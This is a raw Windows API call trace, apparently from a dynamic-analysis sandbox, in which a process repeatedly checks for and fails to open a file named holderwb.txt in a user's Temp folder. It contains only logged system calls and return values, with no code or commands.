	[0098.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.931] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.931] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.932] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.932] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.932] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.932] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.932] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.932] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.933] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.933] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.933] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.933] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.933] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.933] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.934] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.934] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.934] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.935] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.935] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.935] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.936] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.936] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.936] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.936] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.936] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.936] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.937] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.937] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.937] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.937] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.937] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.937] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.938] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.938] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.938] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.938] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.938] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.938] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.939] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.939] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.939] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.940] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.940] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.940] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.941] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.941] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.941] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.941] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.941] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.941] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.942] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.942] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.942] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.942] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.942] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.942] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.943] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.943] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.943] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.943] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.943] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.943] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.944] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.944] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.944] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.944] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
